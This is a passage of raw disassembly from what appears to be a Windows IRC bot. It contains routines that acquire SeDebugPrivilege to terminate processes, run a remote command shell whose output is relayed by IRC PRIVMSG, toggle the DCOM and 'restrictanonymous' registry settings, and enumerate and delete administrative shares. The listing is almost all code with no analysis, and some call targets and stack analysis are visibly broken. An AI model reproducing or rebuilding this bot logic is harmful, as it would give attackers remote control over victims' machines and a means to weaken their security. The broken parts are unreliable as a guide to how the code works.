		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		nop
		call	near ptr 2700B3Ch
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 2700B3Ch
		nop
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FB0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F68


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2680253h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		nop
		call	near ptr 2700B3Ch
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		call	near ptr 26608E1h
		nop


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
		dd 0A8E89000h, 0EB022574h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8DC
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D808
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		nop
		call	near ptr 2670EC7h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8D8
		call	near ptr 28308F6h
		nop
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		nop
		call	near ptr 283046Bh
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		nop
		call	near ptr 2670EC7h
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433C04
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2660BFCh
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8D4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8E4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A09C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		nop
		call	near ptr 2680000h
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A068
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		call	near ptr 26E0000h
		nop
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A318


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A264


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1F8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A1A8


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A158


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A130
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A494


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A41C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
